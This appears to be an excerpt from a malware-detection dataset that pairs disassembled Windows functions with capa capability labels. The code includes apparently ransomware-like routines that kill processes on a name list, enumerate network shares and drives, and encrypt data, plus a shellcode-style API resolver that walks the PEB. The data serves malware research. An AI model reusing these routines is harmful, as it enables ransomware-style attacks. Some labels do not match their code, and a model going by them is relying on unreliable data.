joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400126e0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push rsi
sub rsp, 0x270
mov rax, qword [0x14003f060]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
lea ecx, [rdx + 0xf]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400127d8
mov qword [rsp + 0x280], rbx
mov qword [rsp + 0x288], rbp
lea rbp, [0x14000e9b0]
mov qword [rsp + 0x290], rdi
nop word [rax + rax]
xor ebx, ebx
mov rdi, rbp
nop word [rax + rax]
mov rcx, qword [rdi]
lea rdx, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x14001277f
inc ebx
add rdi, 8
cmp ebx, 0x1f
jb 0x140012760
jmp 0x1400127ae
mov r8d, dword [rsp + 0x28]
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400127ae
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x20]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140012750
mov rdi, qword [rsp + 0x290]
mov rbp, qword [rsp + 0x288]
mov rbx, qword [rsp + 0x280]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.14001eb70
add rsp, 0x270
pop rsi
ret

Function at 0x140012800
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [0x14003f060]
xor rax, rsp
mov qword [rsp + 0x38], rax
xor ebx, ebx
mov dword [rsp + 0x20], 0xf0000000
xor r8d, r8d
mov qword [rsp + 0x30], rbx
xor edx, edx
lea rcx, [rsp + 0x30]
lea r9d, [rbx + 0x18]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x140012879
lea r9d, [rbx + 0x18]
mov dword [rsp + 0x20], 0xf0000008
xor r8d, r8d
lea rcx, [rsp + 0x30]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
mov rcx, qword [rsp + 0x30]
test eax, eax
cmove rcx, rbx
mov rax, rcx
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14001eb70
add rsp, 0x40
pop rbx
ret
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14001eb70
add rsp, 0x40
pop rbx
ret
Function at 0x140015160
Capabilities:
Write file on windows

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x60
mov rax, qword [0x14003f060]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov rdi, rcx
mov ebx, r8d
lea rcx, [0x140041960]
mov rsi, rdx
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov r8d, ebx
lea rdx, [0x14000f8c0]
lea rcx, [rsp + 0x38]
call qword [sym.imp.USER32.dll_wsprintfA]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, qword [0x140041988]
lea r9, [rsp + 0x30]
xor ebx, ebx
mov r8d, eax
mov rdx, rdi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [0x140041988]
lea r9, [rsp + 0x30]
lea r8d, [rbx + 0xe]
mov qword [rsp + 0x20], rbx
lea rdx, [0x14000f8c8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea rcx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, qword [0x140041988]
lea r9, [rsp + 0x30]
mov r8d, eax
mov qword [rsp + 0x20], rbx
lea rdx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [0x140041988]
lea r9, [rsp + 0x30]
lea r8d, [rbx + 4]
mov qword [rsp + 0x20], rbx
lea rdx, [0x14000f8d8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, qword [0x140041988]
lea r9, [rsp + 0x30]
mov r8d, eax
mov qword [rsp + 0x20], rbx
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [0x140041988]
lea r9, [rsp + 0x30]
lea r8d, [rbx + 2]
mov qword [rsp + 0x20], rbx
lea rdx, [0x14000f8e0]
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea rcx, [0x140041960]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.14001eb70
add rsp, 0x60
pop rdi
pop rsi
pop rbx
ret
Function at 0x140019300
Capabilities:
Enumerate network shares

Disassembly:
sub rsp, 0x58
mov rax, qword [0x14003f060]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor edx, edx
mov dword [rsp + 0x40], 0xffffffff
lea rax, [rsp + 0x38]
mov dword [rsp + 0x30], 0x4000
mov r9, rcx
mov qword [rsp + 0x20], rax
lea ecx, [rdx + 2]
lea r8d, [rdx + 0x13]
call qword [sym.imp.MPR.dll_WNetOpenEnumW]
test eax, eax
jne 0x14001941c
mov qword [rsp + 0x68], rbx
mov ebx, dword [rsp + 0x30]
mov qword [rsp + 0x50], rdi
nop word [rax + rax]
mov rcx, qword [0x1400419a0]
lea r8, [rbx + 0x40]
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140019360
mov rcx, qword [rsp + 0x38]
lea r9, [rsp + 0x30]
mov r8, rax
lea rdx, [rsp + 0x40]
call qword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
jne 0x1400193f5
nop word [rax + rax]
xor ebx, ebx
cmp dword [rsp + 0x40], ebx
jbe 0x1400193d9
nop dword [rax + rax]
lea rcx, [rbx + rbx*2]
shl rcx, 4
add rcx, rdi
test byte [rcx + 0xc], 2
je 0x1400193c8
call fcn.140019300
jmp 0x1400193d1
mov rcx, qword [rcx + 0x18]
call fcn.140018e60
inc ebx
cmp ebx, dword [rsp + 0x40]
jb 0x1400193b0
mov rcx, qword [rsp + 0x38]
lea r9, [rsp + 0x30]
mov r8, rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
je 0x1400193a0
mov rcx, qword [0x1400419a0]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.MPR.dll_WNetCloseEnum]
mov rdi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14001eb70
add rsp, 0x58
ret
Function at 0x140019430
Capabilities:
Enumerate network shares

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x140
mov rax, qword [0x14003f060]
xor rax, rsp
mov qword [rsp + 0x130], rax
xor eax, eax
mov rbp, rcx
mov dword [rsp + 0x48], eax
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x4c], eax
nop word [rax + rax]
lea rax, [rsp + 0x4c]
mov r9d, 0xffffffff
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x40]
lea rax, [rsp + 0x50]
mov edx, 1
mov qword [rsp + 0x28], rax
mov rcx, rbp
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.NETAPI32.dll_NetShareEnum]
mov esi, eax
test eax, eax
je 0x1400194b8
cmp eax, 0xea
jne 0x14001956f
mov rbx, qword [rsp + 0x40]
mov edi, 1
cmp dword [rsp + 0x48], edi
jb 0x14001955a
nop dword [rax]
test dword [rbx + 8], 0x7fffffff
jne 0x140019545
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 2
jle 0x140019545
mov rcx, qword [rbx]
lea rdx, [0x14000fe68]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x140019545
lea rdx, [0x14000fe78]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rdx, rbp
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [0x14000fdcc]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rdx, qword [rbx]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rsp + 0x60]
call fcn.140018e60
add rbx, 0x18
inc edi
cmp edi, dword [rsp + 0x48]
jbe 0x1400194d0
mov rbx, qword [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.NETAPI32.dll_NetApiBufferFree]
cmp esi, 0xea
je 0x140019470
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.14001eb70
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x1400195a0
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov rax, qword [0x14003f060]
xor rax, rsp
mov qword [rsp + 0x28], rax
movzx edi, cx
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [0x1400419a0]
mov edx, 8
lea r8d, [rdx + 0x46]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x1400195d0
lea rdx, [0x14000fe80]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rcx, [rbx + 0xa]
lea rdx, [0x14000fe8c]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rcx, rbx
mov word [rbx + 8], di
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
test eax, eax
je 0x140019690
cmp eax, 5
je 0x140019690
cmp eax, 4
je 0x140019634
mov rcx, rbx
call fcn.140018e60
jmp 0x140019690
mov dword [rsp + 0x20], 0x104
nop dword [rax]
mov rcx, qword [0x1400419a0]
mov edx, 8
mov r8d, 0x248
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140019640
lea r8, [rsp + 0x20]
mov rdx, rax
lea rcx, [rbx + 8]
call qword [sym.imp.MPR.dll_WNetGetConnectionW]
test eax, eax
jne 0x14001967e
mov rcx, rdi
call fcn.140018e60
mov rcx, qword [0x1400419a0]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x1400419a0]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.14001eb70
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
Function at 0x14001b660
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rsi
push r13
push r14
push r15
sub rsp, 0x80
mov rax, qword [0x14003f060]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov r14d, dword [rsp + 0xd0]
xor r15d, r15d
mov rsi, r9
mov rbp, r8
mov r13, rdx
cmp r14d, 0x40
jb 0x14001b776
mov qword [rsp + 0xb0], rbx
lea rbx, [r9 + 0x3c]
mov qword [rsp + 0x78], rdi
lea rdi, [r8 + 0x3c]
mov qword [rsp + 0x70], r12
mov r12d, r14d
shr r12, 6
nop
lea rdx, [rsp + 0x20]
mov rcx, r13
call fcn.140019bf0
lea rcx, [rsp + 0x5c]
mov rax, r15
cmp rsi, rcx
ja 0x14001b6e4
lea rcx, [rsp + 0x20]
cmp rbx, rcx
jae 0x14001b6f0
cmp rsi, rdi
ja 0x14001b707
cmp rbx, rbp
jb 0x14001b707
nop
mov ecx, dword [rdi + rax*4 - 0x3c]
xor ecx, dword [rsp + rax*4 + 0x20]
mov dword [rbx + rax*4 - 0x3c], ecx
inc rax
cmp rax, 0x10
jl 0x14001b6f0
jmp 0x14001b746
movdqu xmm0, xmmword [rbp]
movdqu xmm1, xmmword [rdi - 0x2c]
pxor xmm0, xmmword [rsp + 0x20]
pxor xmm1, xmmword [rsp + 0x30]
movdqu xmmword [rsi], xmm0
movdqu xmm0, xmmword [rdi - 0x1c]
movdqu xmmword [rbx - 0x2c], xmm1
movdqu xmm1, xmmword [rdi - 0xc]
pxor xmm0, xmmword [rsp + 0x40]
pxor xmm1, xmmword [rsp + 0x50]
movdqu xmmword [rbx - 0x1c], xmm0
movdqu xmmword [rbx - 0xc], xmm1
add r14d, 0xffffffc0
add rbp, 0x40
add rdi, 0x40
add rsi, 0x40
add rbx, 0x40
sub r12, 1
jne 0x14001b6c0
mov r12, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
mov rbx, qword [rsp + 0xb0]
test r14d, r14d
je 0x14001b884
lea rdx, [rsp + 0x20]
mov rcx, r13
call fcn.140019bf0
cmp r14d, 0x40
jb 0x14001b850
lea eax, [r14 - 1]
mov ecx, eax
lea rdx, [rax + rsi]
lea rax, [rsp + 0x20]
add rax, rcx
cmp rsi, rax
ja 0x14001b7bb
lea rax, [rsp + 0x20]
cmp rdx, rax
jae 0x14001b850
lea rax, [rcx + rbp]
cmp rsi, rax
ja 0x14001b7cd
cmp rdx, rbp
jae 0x14001b850
mov edx, r14d
and edx, 0xffffffc0
mov r8d, 0x20
nop dword [rax]
mov eax, r15d
add r15d, 0x40
movdqu xmm0, xmmword [rsp + rax + 0x20]
movdqu xmm1, xmmword [rax + rbp]
pxor xmm1, xmm0
movdqu xmmword [rax + rsi], xmm1
lea eax, [r8 - 0x10]
movdqu xmm0, xmmword [rsp + rax + 0x20]
movdqu xmm1, xmmword [rax + rbp]
pxor xmm1, xmm0
movdqu xmmword [rax + rsi], xmm1
mov eax, r8d
movdqu xmm0, xmmword [rsp + rax + 0x20]
movdqu xmm1, xmmword [rax + rbp]
pxor xmm1, xmm0
movdqu xmmword [rax + rsi], xmm1
lea eax, [r8 + 0x10]
add r8d, 0x40
movdqu xmm1, xmmword [rax + rbp]
movdqu xmm0, xmmword [rsp + rax + 0x20]
pxor xmm1, xmm0
movdqu xmmword [rax + rsi], xmm1
cmp r15d, edx
jb 0x14001b7e0
cmp r15d, r14d
jae 0x14001b884
mov eax, r15d
lea rcx, [rsp + 0x20]
add rcx, rax
lea rax, [rsp + 0x20]
sub rbp, rax
lea rax, [rsp + 0x20]
sub rsi, rax
sub r14d, r15d
mov edx, r14d
movzx eax, byte [rcx + rbp]
xor al, byte [rcx]
mov byte [rcx + rsi], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x14001b871
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.14001eb70
add rsp, 0x80
pop r15
pop r14
pop r13
pop rsi
pop rbp
ret
Function at 0x14002ab70
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14002a99c

Function at 0x14002fc08
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x14002fc28
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1400274d8
or eax, 0xffffffff
jmp 0x14002fc2a
xor eax, eax
add rsp, 0x28
ret
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
add esp, 0xfffff254
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040dc
push r9
push r8
push rdx
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
push rcx
push rsi
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
movzx rcx, word [rdx + 0x4a]
mov rsi, qword [rdx + 0x50]
xor r9, r9
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x14000403d
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x140004033
push rdx
push r9
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040d1
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040d1
add rax, rdx
mov r8d, dword [rax + 0x20]
push rax
mov ecx, dword [rax + 0x18]
add r8, rdx
jrcxz 0x1400040d0
xor r9, r9
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
ror r9d, 0xd
lodsb al, byte [rsi]
add r9d, eax
cmp al, ah
jne 0x140004087
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004078
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
pop r8
add rax, rdx
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004027
Function at 0x140002a68
Capabilities:
Get system information on windows

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x60
mov edi, edx
mov rsi, rcx
mov rax, qword [0x1400ea658]
xor rax, rsp
mov qword [rsp + 0x58], rax
xor ebx, ebx
xor edx, edx
call fcn.1400016a4
mov dword [rsi + 0x120], ebx
mov dword [rsi + 0x124], edi
movaps xmm0, xmmword [section..rdata]
lea rdi, [rsp + 0x20]
movaps xmmword [rdi + 0x20], xmm0
movaps xmmword [rdi + 0x10], xmm0
movaps xmmword [rdi], xmm0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rdi + 4]
mov ecx, dword [rdi + 0x28]
cmp eax, ecx
cmova ecx, eax
mov qword [rsi + 0x128], rcx
mov qword [rsi + 0x130], 0x20
mov qword [rsi + 0x138], 0x40
mov dword [rsi + 0x140], ebx
lea rax, [rsi + 8]
mov qword [rsi + 8], 0
xor rax, 0xffffffffb37cc16a
mov qword [rsi + 0x10], rax
mov qword [rsi + 0x18], rsi
mov dword [rsi + 0x28], ebx
lea rcx, [rsi + 0x30]
mov r8d, 0xf0
xor edx, edx
call fcn.140091240
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14008e0c0
mov rax, rsi
add rsp, 0x60
pop rbx
pop rdi
pop rsi
ret
Function at 0x14001a5b6
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x20
mov rbx, r9
mov rsi, r8
mov rdi, rdx
mov r14, rcx
call fcn.140025e3e
mov ebp, eax
test rdi, rdi
je 0x14001a5eb
mov rax, qword [rdi + 0x18]
cmp rax, qword [rdi + 0x20]
je 0x14001a600
movzx eax, word [rax]
jmp 0x14001a610
xor r15d, r15d
mov eax, 6
test bpl, bpl
jne 0x14001a69a
xor edi, edi
jmp 0x14001a628
mov rax, qword [rdi]
mov rax, qword [rax + 0x40]
mov rcx, rdi
call qword [0x140109008]
xor r15d, r15d
cmp ax, 0xffff
sete cl
cmove rdi, r15
mov eax, 6
cmp bpl, cl
je 0x14001a69a
mov rcx, qword [r14]
mov rax, qword [rcx + 0x18]
cmp rax, qword [rcx + 0x20]
je 0x14001a63a
movzx ebp, word [rax]
jmp 0x14001a649
mov rax, qword [rcx]
mov rax, qword [rax + 0x40]
call qword [0x140109008]
mov ebp, eax
mov rax, qword [rbx]
mov rax, qword [rax + 0x18]
mov rcx, rbx
mov dx, 4
mov r8d, ebp
call qword [0x140109008]
test al, al
je 0x14001a692
mov rax, qword [rbx]
mov rax, qword [rax + 0x68]
mov rcx, rbx
mov edx, ebp
xor r8d, r8d
call qword [0x140109008]
mov ebp, eax
mov rcx, qword [r14]
mov rax, qword [rcx + 0x18]
cmp rax, qword [rcx + 0x20]
je 0x14001a6ae
add rax, 2
mov qword [rcx + 0x18], rax
jmp 0x14001a6bb
xor r15d, r15d
mov eax, 4
or dword [rsi], eax
mov eax, r15d
add rsp, 0x20
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
mov rax, qword [rcx]
mov rax, qword [rax + 0x48]
call qword [0x140109008]
mov r12d, dword [rsp + 0x80]
movsx r15d, bpl
mov rcx, r14
call fcn.140025e3e
mov ebp, eax
test rdi, rdi
je 0x14001a6e5
mov rax, qword [rdi + 0x18]
cmp rax, qword [rdi + 0x20]
je 0x14001a6e9
movzx eax, word [rax]
jmp 0x14001a6f9
mov al, 1
jmp 0x14001a702
mov rax, qword [rdi]
mov rax, qword [rax + 0x40]
mov rcx, rdi
call qword [0x140109008]
cmp ax, 0xffff
sete al
jne 0x14001a704
xor edi, edi
add r15d, 0xffffffd0
cmp bpl, al
je 0x14001a7aa
cmp r12d, 2
jl 0x14001a7aa
mov rcx, qword [r14]
mov rax, qword [rcx + 0x18]
cmp rax, qword [rcx + 0x20]
je 0x14001a72d
movzx ebp, word [rax]
jmp 0x14001a73c
mov rax, qword [rcx]
mov rax, qword [rax + 0x40]
call qword [0x140109008]
mov ebp, eax
mov rax, qword [rbx]
mov rax, qword [rax + 0x18]
mov rcx, rbx
mov dx, 4
mov r8d, ebp
call qword [0x140109008]
test al, al
je 0x14001a69c
mov rax, qword [rbx]
mov rax, qword [rax + 0x68]
mov rcx, rbx
mov edx, ebp
xor r8d, r8d
call qword [0x140109008]
mov ebp, eax
mov rcx, qword [r14]
mov rax, qword [rcx + 0x18]
cmp rax, qword [rcx + 0x20]
je 0x14001a789
add rax, 2
mov qword [rcx + 0x18], rax
jmp 0x14001a796
mov rax, qword [rcx]
mov rax, qword [rax + 0x48]
call qword [0x140109008]
lea eax, [r15 + r15*4]
movsx ecx, bpl
lea r15d, [rcx + rax*2]
dec r12d
jmp 0x14001a6c7
mov rcx, r14
call fcn.140025e3e
mov ebx, eax
test rdi, rdi
je 0x14001a7c8
mov rax, qword [rdi + 0x18]
cmp rax, qword [rdi + 0x20]
je 0x14001a7da
movzx eax, word [rax]
jmp 0x14001a7ea
mov eax, 2
test bl, bl
jne 0x14001a69a
jmp 0x14001a69c
mov rax, qword [rdi]
mov rax, qword [rax + 0x40]
mov rcx, rdi
call qword [0x140109008]
cmp ax, 0xffff
sete al
xor bl, al
mov eax, 2
je 0x14001a69a
jmp 0x14001a69c
Function at 0x140028d90
Capabilities:
Check if file exists

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x58
mov rdi, rdx
mov rsi, rcx
mov rax, qword [0x1400ea658]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rdx
mov qword [rcx], 0
test rdx, rdx
je 0x140028e01
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rax, qword [rsi]
inc rax
cmp rax, 2
jb 0x140028de7
call fcn.1400309b0
mov rcx, qword [rsi]
call fcn.140038250
mov qword [rsi], 0
lea rax, [rdi + 1]
cmp rax, 2
jb 0x140028df9
mov qword [rsi], rdi
call fcn.1400309b0
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov byte [rsi + 8], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x20], rax
cmp rax, rdi
je 0x140028e2f
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.14008e0c0
mov rax, rsi
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rdi, [0x140028ff0]
lea rcx, [rsp + 0x20]
mov rdx, rdi
call fcn.140036bd0
mov rbx, rax
lea rcx, [rsp + 0x48]
mov rdx, rdi
call fcn.140036bd0
lea rcx, str.handle___::GetCurrentProcess__
mov rdx, rax
mov r8, rbx
call fcn.140036e10
test rax, rax
je 0x140028e15
mov rdi, rax
lea rdx, str.Process
lea r8, str....._baseprocessprocess_win.cc
lea rbx, [rsp + 0x20]
mov rcx, rbx
mov r9d, 0x29
call fcn.140030990
lea r14, [rsp + 0x40]
mov rcx, r14
mov rdx, rdi
mov r8d, 0xffffffff
mov r9, rbx
call fcn.1400371a0
mov rcx, r14
call fcn.140037350
jmp 0x140028e15

Function at 0x140028f10
Capabilities:
Terminate process

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x30
mov ebx, r8d
mov edi, edx
mov rsi, rcx
mov rax, qword [0x1400ea658]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp byte [rcx + 8], 0
je 0x140028f3f
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
jmp 0x140028f42
mov rcx, qword [rsi]
mov edx, edi
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x140028f66
mov dil, 1
test bl, bl
je 0x140028fcd
cmp byte [rsi + 8], 0
je 0x140028fac
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
jmp 0x140028faf
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp byte [rsi + 8], 0
je 0x140028f7d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
jmp 0x140028f80
mov rcx, qword [rsi]
mov edx, 0xea60
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x140028f93
xor edi, edi
jmp 0x140028fcd
mov dword [rsp + 0x24], 0xaaaaaaaa
cmp byte [rsi + 8], 0
je 0x140028fbc
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
jmp 0x140028fbf
mov rcx, qword [rsi]
mov edx, 0xea60
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x140028fcd
mov rcx, qword [rsi]
lea rdx, [rsp + 0x24]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov dil, 1
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.14008e0c0
mov eax, edi
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
Function at 0x140029c00
Capabilities:
Encode data using base64

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x30
mov rdi, rdx
mov rsi, rcx
mov r12, qword [rcx + 0x10]
cmp r12, qword [rcx + 0x18]
je 0x140029c27
mov r15, r12
jmp 0x140029d68
mov r14, qword [rsi]
mov rbx, qword [rsi + 8]
mov rax, rbx
sub rax, r14
jbe 0x140029c89
sar rax, 3
lea rcx, [rax + 1]
shr rcx, 0x3f
add rax, rcx
inc rax
sar rax, 1
mov r13, rax
neg r13
shl rax, 3
mov r15, rbx
sub r15, rax
mov r14, r12
sub r14, rbx
je 0x140029c75
mov rcx, r15
mov rdx, rbx
mov r8, r14
call fcn.140090b90
mov r12, qword [rsi + 8]
add r15, r14
mov qword [rsi + 0x10], r15
lea rax, [r12 + r13*8]
mov qword [rsi + 8], rax
jmp 0x140029d68
mov rax, r12
sub rax, r14
sar rax, 2
cmp r12, r14
mov r13d, 1
cmovne r13, rax
mov rax, r13
shr rax, 0x3d
jne 0x140029db4
lea rcx, [r13*8]
call fcn.14008dd20
mov rcx, r13
and rcx, 0xfffffffffffffffc
mov rdx, r12
sub rdx, rbx
mov r8, r12
lea rcx, [rax + rcx*2]
mov r15, rcx
sub r8, rbx
je 0x140029d0c
sar rdx, 3
lea r15, [r8 + rcx]
shl rdx, 3
xor r8d, r8d
nop word cs:[rax + rax]
mov r9, rcx
add r9, r8
je 0x140029d88
mov r10, qword [rbx + r8]
mov qword [r9], r10
add r8, 8
cmp rdx, r8
jne 0x140029cf0
lea rdx, [rax + r13*8]
mov qword [rsi], rax
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], rdx
nop
cmp r12, rbx
je 0x140029d57
add r12, 0xfffffffffffffff8
jne 0x140029d20
lea rax, str.null_pointer_given_to_destroy_at
mov qword [rsp + 0x20], rax
lea rcx, str._s:_d:_assertion__s_failed:__s_n
lea rdx, str....._third_partylibc_srcinclude__memoryconstruct_at.h
lea r9, str.__loc___nullptr
mov r8d, 0x42
call fcn.140003cfc
test r14, r14
je 0x140029d68
mov rcx, r14
call fcn.14008dd5c
mov r15, qword [rsi + 0x10]
test r15, r15
je 0x140029d88
mov rax, qword [rdi]
mov qword [r15], rax
add qword [rsi + 0x10], 8
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rax, str.null_pointer_given_to_construct_at
mov qword [rsp + 0x20], rax
lea rcx, str._s:_d:_assertion__s_failed:__s_n
lea rdx, str....._third_partylibc_srcinclude__memoryconstruct_at.h
lea r9, str.__location___nullptr
mov r8d, 0x28
call fcn.140003cfc
call fcn.140002552
int3
Function at 0x14002c6c0
Capabilities:
Delete file
Get common file path

Disassembly:
push rsi
sub rsp, 0x30
mov rsi, rcx
call fcn.14002c7b0
mov eax, dword [rsi]
mov dword [0x1400ea630], eax
test al, 1
jne 0x14002c6e1
mov al, 1
add rsp, 0x30
pop rsi
ret
mov rcx, qword [0x1400f9248]
test rcx, rcx
je 0x14002c713
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [0x1400f9248], 0
mov rcx, qword [0x1400f9220]
test rcx, rcx
jne 0x14002c741
and byte [0x1400ea630], 0xfe
jmp 0x14002c71f
